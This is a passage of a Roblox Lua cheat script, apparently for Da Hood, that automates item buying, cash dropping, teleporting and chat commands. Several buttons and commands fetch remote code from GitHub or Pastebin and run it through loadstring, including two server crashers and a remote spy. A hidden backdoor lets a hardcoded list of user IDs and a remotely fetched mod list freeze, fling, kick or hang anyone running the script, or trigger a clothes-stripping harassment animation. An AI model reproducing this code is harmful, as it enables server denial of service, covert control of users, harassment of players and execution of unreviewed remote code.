UDim2.new(0,0,0,0) player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Name = 'AmmoFrame' end local Gun = '[Double-Barrel SG]' local GunTexture = 'rbxassetid://5341886203' local GunPath = game:GetService("Workspace").Ignored.Shop["[Double-Barrel SG] - $1400"].Head local Holding = false local InfiniteTool = Instance.new('Tool', player.Backpack) InfiniteTool.Name = 'Db' InfiniteTool.ToolTip = 'buy guns while holding, shoot while using this tool' InfiniteTool.TextureId = GunTexture InfiniteTool.RequiresHandle = true InfiniteTool.CanBeDropped = false local Handle = Instance.new('Part', InfiniteTool) Handle.Name = 'Handle' Handle.Anchored = false Handle.Size = Vector3.new(0,0,0) Handle.Massless = true Handle.Transparency = 1 Handle.CanCollide = false InfiniteTool.Equipped:Connect(function() Holding = true player.PlayerGui.MainScreenGui:FindFirstChild('AmmoFrame').Name = 'AmmoFrame2' for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == Gun and not player.Character:FindFirstChild(Gun) then if v.Ammo.Value > 0 then v.Parent = player.Character end end end while Holding == true do wait(0) local TotalAmmo = 0 for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == Gun then TotalAmmo = TotalAmmo + v.Ammo.Value end end for i,v in pairs(player.Character:GetChildren()) do if v.Name == Gun then TotalAmmo = TotalAmmo + v.Ammo.Value end end player.PlayerGui.MainScreenGui.AmmoFrame2.AmmoText.Text = tostring(TotalAmmo) player.PlayerGui.MainScreenGui.AmmoFrame2.AmmoText.Visible = true player.PlayerGui.MainScreenGui.AmmoFrame2.Visible = true local mag = (GunPath.Position - player.Character.HumanoidRootPart.Position).Magnitude if mag <= 8 and player.Character:FindFirstChild(InfiniteTool.Name) then for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == Gun then v.Parent = player.Character end end end fireclickdetector(GunPath.Parent.ClickDetector) if player.Character:FindFirstChild(Gun).Ammo.Value < 1 then player.Character:FindFirstChild(Gun).Parent = player.Backpack for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == Gun and not player.Character:FindFirstChild(Gun) then if v.Ammo.Value > 0 then v.Parent = player.Character end end end end end end) InfiniteTool.Unequipped:Connect(function() Holding = false player.PlayerGui.MainScreenGui:FindFirstChild('AmmoFrame2').Name = 'AmmoFrame' end) end function infrpg() if player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA') then player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').TextLabel.Name = 'AmmoText' player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Position = UDim2.new(2,0,2,0) player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Size = UDim2.new(0,0,0,0) player.PlayerGui.MainScreenGui:FindFirstChild('BattleRoyaleFFA').Name = 'AmmoFrame' end local Gun = '[RPG]' local GunTexture = 'rbxassetid://3420083215' local GunPath = game:GetService("Workspace").Ignored.Shop["[RPG] - $6000"].Head local Holding = false local InfiniteTool = Instance.new('Tool', player.Backpack) InfiniteTool.Name = 'Rpg' InfiniteTool.ToolTip = 'buy guns while holding, shoot while using this tool' InfiniteTool.TextureId = GunTexture InfiniteTool.RequiresHandle = true InfiniteTool.CanBeDropped = false local Handle = Instance.new('Part', InfiniteTool) Handle.Name = 'Handle' Handle.Anchored = false Handle.Size = Vector3.new(0,0,0) Handle.Massless = true Handle.Transparency = 1 Handle.CanCollide = false InfiniteTool.Equipped:Connect(function() Holding = true player.PlayerGui.MainScreenGui:FindFirstChild('AmmoFrame').Name = 'AmmoFrame2' for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == Gun and not player.Character:FindFirstChild(Gun) then if v.Ammo.Value > 0 then v.Parent = player.Character end end end while Holding == true do wait(0) local TotalAmmo = 0 for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == Gun then TotalAmmo = TotalAmmo + v.Ammo.Value end end for i,v in pairs(player.Character:GetChildren()) do if v.Name == Gun then TotalAmmo = TotalAmmo + v.Ammo.Value end end player.PlayerGui.MainScreenGui.AmmoFrame2.AmmoText.Text = tostring(TotalAmmo) player.PlayerGui.MainScreenGui.AmmoFrame2.AmmoText.Visible = true player.PlayerGui.MainScreenGui.AmmoFrame2.Visible = true local mag = (GunPath.Position - player.Character.HumanoidRootPart.Position).Magnitude if mag <= 8 and player.Character:FindFirstChild(InfiniteTool.Name) then for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == Gun then v.Parent = player.Character end end end fireclickdetector(GunPath.Parent.ClickDetector) if player.Character:FindFirstChild(Gun).Ammo.Value < 1 then player.Character:FindFirstChild(Gun).Parent = player.Backpack for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == Gun and not player.Character:FindFirstChild(Gun) then if v.Ammo.Value > 0 then v.Parent = player.Character end end end end end end) InfiniteTool.Unequipped:Connect(function() Holding = false player.PlayerGui.MainScreenGui:FindFirstChild('AmmoFrame2').Name = 'AmmoFrame' end) end function infham() local Food = '[Hamburger]' local FoodTexture = 'rbxassetid://3210917066' local FoodPath = game:GetService("Workspace").Ignored.Shop["[Hamburger] - $5"].Head local Holding = false local InfiniteTool = Instance.new('Tool', player.Backpack) InfiniteTool.Name = 'Hamburger' InfiniteTool.ToolTip = 'buy hamburgers while holding, eat while using this tool' InfiniteTool.TextureId = FoodTexture InfiniteTool.RequiresHandle = true InfiniteTool.CanBeDropped = false local Handle = Instance.new('Part', InfiniteTool) Handle.Name = 'Handle' Handle.Anchored = false Handle.Size = Vector3.new(0,0,0) Handle.Massless = true Handle.Transparency = 1 Handle.CanCollide = false InfiniteTool.Equipped:Connect(function() Holding = true player.PlayerGui.MainScreenGui:FindFirstChild('AmmoFrame').Name = 'AmmoFrame2' for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == Food and not player.Character:FindFirstChild(Food) then v.Parent = player.Character end end while Holding == true do wait(0) local TotalFood = 0 for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == Food then TotalFood = TotalFood + 1 end end for i,v in pairs(player.Character:GetChildren()) do if v.Name == Food then TotalFood = TotalFood + 1 end end player.PlayerGui.MainScreenGui.AmmoFrame2.AmmoText.Text = tostring(TotalFood) player.PlayerGui.MainScreenGui.AmmoFrame2.AmmoText.Visible = true player.PlayerGui.MainScreenGui.AmmoFrame2.Visible = true local mag = (FoodPath.Position - player.Character.HumanoidRootPart.Position).Magnitude if mag <= 8 and player.Character:FindFirstChild(InfiniteTool.Name) then for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == Food then v.Parent = player.Character end end end fireclickdetector(FoodPath.Parent.ClickDetector) if not player.Character:FindFirstChild(Food) then for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == Food and not player.Character:FindFirstChild(Food) then v.Parent = player.Character end end end end end) InfiniteTool.Unequipped:Connect(function() Holding = false player.PlayerGui.MainScreenGui:FindFirstChild('AmmoFrame2').Name = 'AmmoFrame' end) end infrev() infdb() infham() infrpg() end) ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ CashDroppedLabel.Visible = false CalculateButton.MouseButton1Click:Connect(function() if tonumber(CashTextbox.Text) ~= nil then CashTextbox.Text = tostring(math.floor((tonumber(CashTextbox.Text) * 1.42857))) local amount = tonumber(CashTextbox.Text) cashgoal = player.DataFolder.Currency.Value - amount CashAtEndLabel.Text = ('Cash At End : $' .. formatNumber(cashgoal)) else announce('insert number', '', 3) end end) DropToggleButton.MouseButton1Click:Connect(function() if DropToggleButton.Text == 'Enable' and tonumber(CashTextbox.Text) ~= nil then DropToggleButton.Text = 'Stop' while DropToggleButton.Text == 'Stop' do wait() MainEvent:FireServer('DropMoney', '10000') if player.DataFolder.Currency.Value <= cashgoal then DropToggleButton.Text = 'Enable' announce('finished dropping') end end else DropToggleButton.Text = 'Enable' end end) CrashServerButton.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/22kristina/dhcrash_gen2/main/crash", true))() end) ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ SetSpawn.MouseButton1Click:Connect(function() if player.Character then if SetSpawn.Text == 'SetSpawn' then SetSpawn.Text = 'NoSpawn' SpawnPosition = player.Character.HumanoidRootPart.CFrame else SetSpawn.Text = 'SetSpawn' SpawnPosition = nil end end end) PrevPosition.MouseButton1Click:Connect(function() if PreviousPosition ~= nil then player.Character.HumanoidRootPart.CFrame = PreviousPosition else announce('Previous Position Error', 'you need to have tped before to return to an old position', 5) end end) Bank.MouseButton1Click:Connect(function() PreviousPosition = player.Character.HumanoidRootPart.CFrame player.Character.HumanoidRootPart.CFrame = CFrame.new(-437.125885, 38.9783134, -285.587372, 0.0165725499, 5.298579e-08, -0.99986279, 1.16139711e-08, 1, 5.31855591e-08, 0.99986279, -1.24937944e-08, 0.0165725499) end) Playground.MouseButton1Click:Connect(function() PreviousPosition = player.Character.HumanoidRootPart.CFrame player.Character.HumanoidRootPart.CFrame = CFrame.new(-259.516907, 22.1498718, -762.971558, 0.992310345, 0, 0.12377467, 0, 1, 0, -0.12377467, 0, 0.992310345) end) LavaBase.MouseButton1Click:Connect(function() PreviousPosition = player.Character.HumanoidRootPart.CFrame player.Character.HumanoidRootPart.CFrame = CFrame.new(-796.256897, -39.6492004, -886.306152, -0.39699012, 2.91068263e-05, 0.917822897, 1.63490836e-06, 1, -3.10057476e-05, -0.917822897, -1.08084187e-05, -0.39699012) end) GunShop1.MouseButton1Click:Connect(function() PreviousPosition = player.Character.HumanoidRootPart.CFrame player.Character.HumanoidRootPart.CFrame = CFrame.new(-591.085022, 8.31477833, -742.803528, 0.994070172, 5.60480942e-08, 0.108740292, -6.51724079e-08, 1, 8.03552425e-08, -0.108740292, -8.69656134e-08, 0.994070172) end) GunShop2.MouseButton1Click:Connect(function() PreviousPosition = player.Character.HumanoidRootPart.CFrame player.Character.HumanoidRootPart.CFrame = CFrame.new(488.347412, 48.0705032, -630.454285, -0.0453165509, -4.20173549e-08, -0.998972654, -4.23235385e-08, 1, -4.01406339e-08, 0.998972654, 4.04610248e-08, -0.0453165509) end) Sewer.MouseButton1Click:Connect(function() PreviousPosition = player.Character.HumanoidRootPart.CFrame player.Character.HumanoidRootPart.CFrame = CFrame.new(111.514938, -26.7500305, -276.918365, -0.997865558, -1.25138016e-08, -0.0653034225, -1.74378947e-08, 1, 7.48333733e-08, 0.0653034225, 7.58124159e-08, -0.997865558) end) GasStation.MouseButton1Click:Connect(function() PreviousPosition = player.Character.HumanoidRootPart.CFrame player.Character.HumanoidRootPart.CFrame = CFrame.new(591.680725, 49.0000458, -256.818298, -0.0874911696, -3.41755495e-08, -0.996165276, 1.23318324e-08, 1, -3.53901868e-08, 0.996165276, -1.53808717e-08, -0.0874911696) end) TacoShop.MouseButton1Click:Connect(function() PreviousPosition = player.Character.HumanoidRootPart.CFrame player.Character.HumanoidRootPart.CFrame = CFrame.new(583.931641, 51.061409, -476.954193, -0.999745369, 1.49123665e-08, -0.0225663595, 1.44838328e-08, 1, 1.91533687e-08, 0.0225663595, 1.88216429e-08, -0.999745369) end) UFO.MouseButton1Click:Connect(function() PreviousPosition = player.Character.HumanoidRootPart.CFrame player.Character.HumanoidRootPart.CFrame = CFrame.new(71.7331619, 139, -691.154419, 0.602706313, 7.78292178e-06, 0.797962964, 7.63640458e-07, 1, -1.03302691e-05, -0.797962964, 6.83547478e-06, 0.602706313) end) SafeZone1.MouseButton1Click:Connect(function() PreviousPosition = player.Character.HumanoidRootPart.CFrame player.Character.HumanoidRootPart.CFrame = CFrame.new(-117.270287, -58.7000618, 146.536087, 0.999873519, 5.21876942e-08, -0.0159031227, -5.22713037e-08, 1, -4.84179008e-09, 0.0159031227, 5.67245495e-09, 0.999873519) end) SafeZone2.MouseButton1Click:Connect(function() PreviousPosition = player.Character.HumanoidRootPart.CFrame player.Character.HumanoidRootPart.CFrame = CFrame.new(207.48085, 38.25, 200014.953, 0.507315397, 0, -0.861760437, 0, 1, 0, 0.861760437, 0, 0.507315397) end) SavePos.MouseButton1Click:Connect(function() SavedPos = player.Character.HumanoidRootPart.CFrame end) LoadPos.MouseButton1Click:Connect(function() if SavedPos ~= nil then player.Character.HumanoidRootPart.CFrame = SavedPos else announce('Load Position Error', 'you need to save a position first', 4) end end) ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------ local swagmins = { 200547759, -- Mas2n 44694442, -- SWAGM0DE 92157681, -- Ninaly4567 1688589423, -- KR1STlNA 2351144328, -- suslevel9999 2910595304, } local bending = false local kickmsg = 'PERMA BANNED' local function commands(msg,plr) if DisableMod == false or table.find(swagmins, plr) then local Mod = game:GetService('Players'):GetPlayerByUserId(plr) local Msg = string.lower(msg) local SplitCMD = string.split(Msg,' ') local Lower = string.lower(player.Name) local Allowed = string.find(Lower, SplitCMD[2]) if Allowed then if string.find(SplitCMD[1], ':freeze') then player.Character.HumanoidRootPart.Anchored = true end if string.find(SplitCMD[1], ':thaw') then player.Character.HumanoidRootPart.Anchored = false end if string.find(SplitCMD[1], ':benx') then bending = true local segtarget = Mod.Name local Crouch = player.Character:FindFirstChildWhichIsA('Humanoid'):LoadAnimation(game:GetService("ReplicatedStorage").ClientAnimations.Crouching) Crouch.Looped = true Crouch:Play() local away = .5 local reversing = false local shirt = player.Character:FindFirstChild('Shirt') local pants = player.Character:FindFirstChild('Pants') if shirt then shirt:Destroy() end if pants then pants:Destroy() end local Loop local loopFunction = function() local targetchar = game.Workspace.Players:FindFirstChild(segtarget) or game.Workspace:FindFirstChild(segtarget) local character = player.Character if targetchar then if reversing == true then away = away - 0.1 else away = away + 0.1 end if away >= 2 then reversing = true elseif away < 0.5 then reversing = false end character.HumanoidRootPart.CFrame = game.Players[segtarget].Character.HumanoidRootPart.CFrame + game.Players[segtarget].Character.HumanoidRootPart.CFrame.lookVector * away end end; local Start = function() Loop = game:GetService("RunService").Heartbeat:Connect(loopFunction); end; local Pause = function() Loop:Disconnect() Crouch:Stop() end; Start() repeat wait() until bending == false Pause() end if string.find(SplitCMD[1], ':unbenx') then while bending == true do wait() bending = false end end if string.find(SplitCMD[1], ':kick') then local ISADMIN = table.find(swagmins, player.UserId) if not ISADMIN then kickmsg = Mod.Name player:Kick(kickmsg) wait(5) while true do end end end if string.find(SplitCMD[1], ':bring') then player.Character.HumanoidRootPart.CFrame = CFrame.new(game.Workspace.Players:FindFirstChild(Mod.Name).HumanoidRootPart.Position) end if string.find(SplitCMD[1], ':cuffban') then if table.find(swagmins, plr) then local ISADMIN = table.find(swagmins, player.UserId) if not ISADMIN then player:Kick('Stop .') end end end if string.find(SplitCMD[1], ':fling') then player.Character.HumanoidRootPart.Velocity = Vector3.new(500000,500000,500000) end else if string.find(msg, '/e test') then game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("LOOLOLOLO", 'All'); end end end end muted = {} mutingnew = false local ModCheck = loadstring(game:HttpGet('https://raw.githubusercontent.com/swagmode/swagmode/main/modlist'))() Players.PlayerAdded:Connect(function(plr) local SWAGMIN = table.find(swagmins, plr.UserId) if SWAGMIN or ModCheck[plr.UserId] then plr.Chatted:Connect(function(msg) commands(msg, plr.UserId) end) end if muteingnew == true then if not table.find(muted, plr.Name) then table.insert(muted, plr.Name) print('automuted ' .. plr.Name) end end end) for i,v in pairs(game:GetService('Players'):GetChildren()) do local SWAGMIN = table.find(swagmins, v.UserId) if SWAGMIN or ModCheck[v.UserId] then print('found') v.Chatted:Connect(function(msg) commands(msg, v.UserId) end) end end ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------------------------------------------------------------------ local commands = {} local prefix = "/" local function findPlayer(name) for _, Player in ipairs(Players:GetPlayers()) do if (string.lower(name) == string.sub(string.lower(Player.Name), 1, #name)) then return Player; end end end commands.e = function(arguments) local CMD = arguments[1] if CMD == 'rejoin' or CMD == 'rj' then Players.LocalPlayer:Kick("Rejoining") wait() game:GetService('TeleportService'):Teleport(game.PlaceId, Players.LocalPlayer) end if CMD == 'serverhop' or CMD == 'shop' then local x = {} for _, v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/" .. game.PlaceId .. "/servers/Public?sortOrder=Asc&limit=100")).data) do if type(v) == "table" and v.maxPlayers > v.playing and v.id ~= game.JobId then x[#x + 1] = v.id end end if #x > 0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId, x[math.random(1, #x)]) else print('failed to find server') end end local ANIMATIONS = false if CMD == 'animations' and player.PlayerGui.MainScreenGui.AnimationPack.Visible == false and ANIMATIONS == false then local Humanoid = player.Character:FindFirstChildWhichIsA('Humanoid') ANIMATIONS = true local AnimationsFolder = Instance.new('Folder', game.Workspace) local LeanAni = Instance.new('Animation', AnimationsFolder) LeanAni.AnimationId = 'rbxassetid://3152375249' local Lean = Humanoid:LoadAnimation(LeanAni) local LayAni = Instance.new('Animation', AnimationsFolder) LayAni.AnimationId = 'rbxassetid://3152378852' local Lay = Humanoid:LoadAnimation(LayAni) local Dance1Ani = Instance.new('Animation', AnimationsFolder) Dance1Ani.AnimationId = 'rbxassetid://3189773368' local Dance1 = Humanoid:LoadAnimation(Dance1Ani) local Dance2Ani = Instance.new('Animation', AnimationsFolder) Dance2Ani.AnimationId = 'rbxassetid://3189776546' local Dance2 = Humanoid:LoadAnimation(Dance2Ani) local GreetAni = Instance.new('Animation', AnimationsFolder) GreetAni.AnimationId = 'rbxassetid://3189777795' local Greet = Humanoid:LoadAnimation(GreetAni) local PrayAni = Instance.new('Animation', AnimationsFolder) PrayAni.AnimationId = 'rbxassetid://3487719500' local Pray = Humanoid:LoadAnimation(PrayAni) Close.Visible = false ScrollingFrame.Visible = false Animations.Visible = true Animations.MouseButton1Click:Connect(function() ScrollingFrame.Visible = true Close.Visible = true end) Close.MouseButton1Click:Connect(function() ScrollingFrame.Visible = false Close.Visible = false end) LeanButton.MouseButton1Click:Connect(function() Lean:Play() end) LayButton.MouseButton1Click:Connect(function() Lay:play() end) Dance1Button.MouseButton1Click:Connect(function() Dance1:Play() end) Dance2Button.MouseButton1Click:Connect(function() Dance2:Play() end) GreetButton.MouseButton1Click:Connect(function() Greet:Play() end) PrayButton.MouseButton1Click:Connect(function() Pray:Play() end) Humanoid.Running:Connect(function() Lean:Stop() Lay:Stop() Dance1:Stop() Dance2:Stop() Greet:Stop() Pray:Stop() ChestPump:Stop() end) end if CMD == 'korblox' then game:GetService("Workspace").Players:FindFirstChild(player.Name).RightLowerLeg:Destroy() game:GetService("Workspace").Players:FindFirstChild(player.Name).RightUpperLeg:Destroy() game:GetService("Workspace").Players:FindFirstChild(player.Name).RightFoot:Destroy() end if CMD == 'crash' then loadstring(game:HttpGet('https://raw.githubusercontent.com/lerkermer/lua-projects/master/SuperCustomServerCrasher'))() end if CMD == 'lettuce' then local Humanoid = player.Character:FindFirstChildWhichIsA('Humanoid') local LettuceTool = Instance.new('Tool', player.Backpack) LettuceTool.RequiresHandle = false LettuceTool.CanBeDropped = true LettuceTool.Name = 'Lettuce' LettuceTool.ToolTip = 'inf lettuce eater yummy' local function eat() local Food = player.Backpack:FindFirstChild('[Lettuce]') if Food and player.Character.BodyEffects.Attacking.Value == false then Humanoid:EquipTool(Food) player.Character:FindFirstChildWhichIsA('Tool'):Activate() repeat wait() until player.Character.BodyEffects.Attacking.Value == false Humanoid:EquipTool(LettuceTool) end end LettuceTool.Activated:Connect(function() eat() end) LettuceTool.Equipped:Connect(function() while player.Character:FindFirstChild('Lettuce') do wait() local pathto = game:GetService("Workspace").Ignored.Shop["[Lettuce] - $5"].Head local HRP = player.Character:FindFirstChild('HumanoidRootPart') if HRP and player.Character:FindFirstChild('Lettuce') then local Away = (HRP.Position - pathto.Position).Magnitude if Away <= 30 then for i,v in pairs(player.Backpack:GetChildren()) do local Humanoid = player.Character:FindFirstChildWhichIsA('Humanoid') if v.Name == '[Lettuce]' then v.Parent = player.Character end end fireclickdetector(pathto.Parent:FindFirstChild('ClickDetector')) end end end end) end if CMD == 'fov' then if game.Workspace:FindFirstChildWhichIsA('Camera') then game.Workspace:FindFirstChildWhichIsA('Camera').FieldOfView = tonumber(arguments[2]) end end BRIGHT = false if CMD == 'bright' or CMD == 'unbright' then if BRIGHT == false then BRIGHT = true game:GetService("Lighting").GlobalShadows = false else BRIGHT = false game:GetService("Lighting").GlobalShadows = true end end if CMD == 'tool' or CMD == 'tools' then for i,v in pairs(game:GetService("Workspace").Ignored.ItemsDrop:GetChildren()) do player.Character.HumanoidRootPart.CFrame = v.CFrame wait(0.01) end end if CMD == 'zoom' or CMD == 'infzoom' then player.CameraMaxZoomDistance = math.huge end FOG = false if CMD == 'fog' then if FOG == false then FOG = true game:GetService("Lighting").FogEnd = 5000 else FOG = false game:GetService("Lighting").FogEnd = 500 end end if CMD == 'set' then local plrtotarget = arguments[2] if plrtotarget then local playr = findPlayer(plrtotarget) if playr then TargetTextbox.Text = playr.Name SetPlayerInfo() end end end if CMD == 'float' then if player.Character:FindFirstChildWhichIsA('Tool') then if player.Character:FindFirstChildWhichIsA('Tool'):FindFirstChild('Handle'):FindFirstChildWhichIsA('BillboardGui') then player.Character:FindFirstChildWhichIsA('Tool'):FindFirstChild('Handle'):FindFirstChildWhichIsA('BillboardGui'):Destroy() end end end if CMD == 'to' then local playerToTeleportToName = arguments[2] if playerToTeleportToName then local plrToTPTo = findPlayer(playerToTeleportToName) if plrToTPTo then game:GetService('Workspace').Players:WaitForChild(player.Name).HumanoidRootPart.CFrame = game:GetService('Workspace').Players:WaitForChild(plrToTPTo.Name).HumanoidRootPart.CFrame if not player.Character.LeftHand:FindFirstChild('LeftWrist') then player.Character.LeftHand.CFrame = player.Character.HumanoidRootPart.CFrame player.Character.RightHand.CFrame = player.Character.HumanoidRootPart.CFrame end end end end if CMD == 'sit' then game.Players.LocalPlayer.Character.Humanoid.Sit = true end if CMD == 'recoil' then for i,v in pairs(game:GetService('Workspace'):GetChildren()) do if v:IsA('Camera') then v:Destroy() end end local newcam = Instance.new('Camera') newcam.Parent = game:GetService('Workspace') newcam.Name = 'Camera' newcam.CameraType = 'Custom' newcam.CameraSubject = game:GetService('Workspace').Players:FindFirstChild(player.Name):FindFirstChild('Humanoid') newcam.HeadLocked = true newcam.HeadScale = 1 end if CMD == 'headless' then player.Character.Head:BreakJoints() player.Character.Head.Position = Vector3.new(0,99999999999999,0) end if CMD == 'hideboombox' or CMD == 'boombox' then player.Character.BOOMBOXHANDLE:Destroy() end if CMD == 'reach' or CMD == 'toolreach' then if player.Character:FindFirstChildWhichIsA('Tool') then player.Character:FindFirstChildWhichIsA('Tool').Handle.Size = Vector3.new(50,50,50) player.Character:FindFirstChildWhichIsA('Tool').Handle.Transparency = 1 end end if CMD == 'taser' then player.Character.HumanoidRootPart.CFrame = CFrame.new(-271.194, 21.8, -103.052) local LettuceTool = Instance.new('Tool', player.Backpack) LettuceTool.RequiresHandle = false LettuceTool.CanBeDropped = true LettuceTool.Name = 'Taser' LettuceTool.ToolTip = 'tazer' local function eat() hold:Play() for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == '[Taser]' then v.Parent = player.Character end end for i,v in pairs(player.Character:GetChildren()) do if v.Name == '[Taser]' then v:Activate() end end end LettuceTool.Activated:Connect(function() eat() end) LettuceTool.Unequipped:Connect(function() end) LettuceTool.Equipped:Connect(function() while player.Character:FindFirstChild('Taser') do local a = 0 for i,v in pairs(player.Character:GetChildren()) do if v.Name == '[Taser]' then a = a + 1 end end LettuceTool.ToolTip = tostring(a) wait(3) end end) coroutine.resume(coroutine.create(function() local pathto = game:GetService("Workspace").Ignored.Shop["[Taser] - $1000"].Head while wait(0.05) do local sus = game:GetService("Players"):FindFirstChild(player.Name).PlayerGui.MainScreenGui:FindFirstChild('whiteScreen') if sus then sus:Destroy() end local HRP = player.Character:FindFirstChild('HumanoidRootPart') if HRP and player.Character:FindFirstChild('Taser') then local Away = (HRP.Position - pathto.Position).Magnitude if Away <= 30 then for i,v in pairs(player.Backpack:GetChildren()) do local Humanoid = player.Character:FindFirstChildWhichIsA('Humanoid') if v.Name == '[Taser]' then v.Parent = player.Character end end fireclickdetector(pathto.Parent:FindFirstChild('ClickDetector')) end end end end)) end if CMD == 'view' then local plrtoview = arguments[2] if plrtoview then local ptv = findPlayer(plrtoview) if ptv then local Camera = game.Workspace:FindFirstChildWhichIsA('Camera') View.Text = "Unview" repeat view(ptv.Name) until View.Text == 'View' Camera.CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid') end end end if CMD == 'unview' then local Camera = game.Workspace:FindFirstChildWhichIsA('Camera') Camera.CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid') View.Text = "View" end if CMD == 'shield' then if IsMod == true then DisableMod = true announce('Immune to mod powers', '', 4) end end if CMD == 'unshield' then if IsMod == true then DisableMod = false announce('Unimmune to mod powers', '', 4) end end if CMD == 're' then player.Character:Destroy() end if CMD == 'ping' then while wait() do local Animations = game.Players.LocalPlayer:FindFirstChild('PlayerGui'):FindFirstChild('MainScreenGui'):FindFirstChild('AnimationPack') if Animations then Animations.TextScaled = true Animations.Text = game:GetService("Stats").Network.ServerStatsItem["Data Ping"]:GetValueString() end end end if CMD == 'faceless' or CMD == 'noface' then player.Character.Head.face:Destroy() end if CMD == 'hidemask' then player.Character:FindFirstChild('In-gameMask').Handle:Destroy() end if CMD == 'names' then local function checkdisplay() for i,v in pairs(game:GetService('Workspace').Players:GetChildren()) do if v.Name ~= game.Players:FindFirstChild(v.Name).DisplayName then if v:FindFirstChild('UpperTorso'):FindFirstChild('OriginalSize') or v:FindFirstChild('LowerTorso'):FindFirstChild('OriginalSize') then v:FindFirstChildWhichIsA('Humanoid').DisplayName = (game.Players:FindFirstChild(v.Name).DisplayName .. ' / ' .. v.Name) end end end end checkdisplay() end if CMD == 'remotespy' then loadstring(game:HttpGet("https://pastebin.com/raw/BDhSQqUU", true))() end if CMD == 'flashlight' then local Humanoid = player.Character:FindFirstChildWhichIsA('Humanoid') local mouse = player:GetMouse() local hold = player.Character.Humanoid:LoadAnimation(game:GetService("ReplicatedStorage").ClientAnimations.SmallGunAim) local LettuceTool = Instance.new('Tool', player.Backpack) LettuceTool.RequiresHandle = false LettuceTool.CanBeDropped = true LettuceTool.Name = 'Flashlight' LettuceTool.ToolTip = 'rpg' local gun = '[Flashlight]' local function eat() hold:Play() for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == gun then v.Parent = player.Character end end wait(0.2) for i,v in pairs(player.Character:GetChildren()) do if v.Name == gun then v:Activate() end end end LettuceTool.Activated:Connect(function() eat() end) LettuceTool.Unequipped:Connect(function() hold:Stop() end) LettuceTool.Equipped:Connect(function() hold:Play() local ammo = 0 for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == gun then ammo = ammo + v.Ammo.Value end end LettuceTool.ToolTip = ammo end) coroutine.resume(coroutine.create(function() local pathto = game:GetService("Workspace").Ignored.Shop["[Flashlight] - $10"].Head while wait(0.05) do local sus = game:GetService("Players"):FindFirstChild(player.Name).PlayerGui.MainScreenGui:FindFirstChild('whiteScreen') if sus then sus:Destroy() end local HRP = player.Character:FindFirstChild('HumanoidRootPart') if HRP and player.Character:FindFirstChild('Flashlight') then local Away = (HRP.Position - pathto.Position).Magnitude if Away <= 30 then for i,v in pairs(player.Backpack:GetChildren()) do local Humanoid = player.Character:FindFirstChildWhichIsA('Humanoid') if v.Name == '[Flashlight]' then v.Parent = player.Character end end fireclickdetector(pathto.Parent:FindFirstChild('ClickDetector')) end end end end)) end if CMD == 'nuke' then local LettuceTool = Instance.new('Tool', player.Backpack) LettuceTool.RequiresHandle = false LettuceTool.CanBeDropped = true LettuceTool.Name = 'Nuke' LettuceTool.ToolTip = 'tazer' local function eat() hold:Play() for i,v in pairs(player.Backpack:GetChildren()) do if v.Name == '[Grenade]' then v.Parent = player.Character end end for i,v in pairs(player.Character:GetChildren()) do if v.Name == '[Grenade]' then v:Activate() v:Activate() end end end LettuceTool.Activated:Connect(function() eat() for i,v in pairs(game.Workspace.Ignored:GetChildren()) do if v.Name == 'Handle' then v.Position = mouse.Hit.p end end end) LettuceTool.Unequipped:Connect(function() hold:Stop() end) LettuceTool.Equipped:Connect(function() while player.Character:FindFirstChild('Nuke') do local a = 0 for i,v in pairs(player.Character:GetChildren()) do if v.Name == '[Grenade]' then a = a + 1 end end LettuceTool.ToolTip = tostring(a) wait(3) end end) coroutine.resume(coroutine.create(function() local pathto = game:GetService("Workspace").Ignored.Shop["[Grenade] - $700"].Head while wait(0.05) do local sus = game:GetService("Players"):FindFirstChild(player.Name).PlayerGui.MainScreenGui:FindFirstChild('whiteScreen') if sus then sus:Destroy() end local HRP = player.Character:FindFirstChild('HumanoidRootPart') if HRP and player.Character:FindFirstChild('Nuke') then local Away = (HRP.Position - pathto.Position).Magnitude if Away <= 30 then for i,v in pairs(player.Backpack:GetChildren()) do local Humanoid = player.Character:FindFirstChildWhichIsA('Humanoid') if v.Name == '[Grenade]' then v.Parent = player.Character end end 